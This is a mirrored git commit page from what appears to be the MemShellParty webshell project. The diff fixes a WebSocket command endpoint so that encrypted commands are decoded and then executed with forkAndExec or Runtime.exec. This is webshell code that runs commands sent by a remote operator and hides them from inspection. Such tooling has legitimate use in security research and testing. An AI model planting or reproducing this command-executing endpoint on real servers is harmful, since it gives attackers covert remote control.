mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: ws command encryptor not work
This commit is contained in:
+2
-2
@@ -31,9 +31,9 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
try {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(cmd);
|
||||
inputStream = forkAndExec(getParam(cmd));
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
|
||||
inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
|
||||
}
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
|
||||
Reference in New Issue
Block a user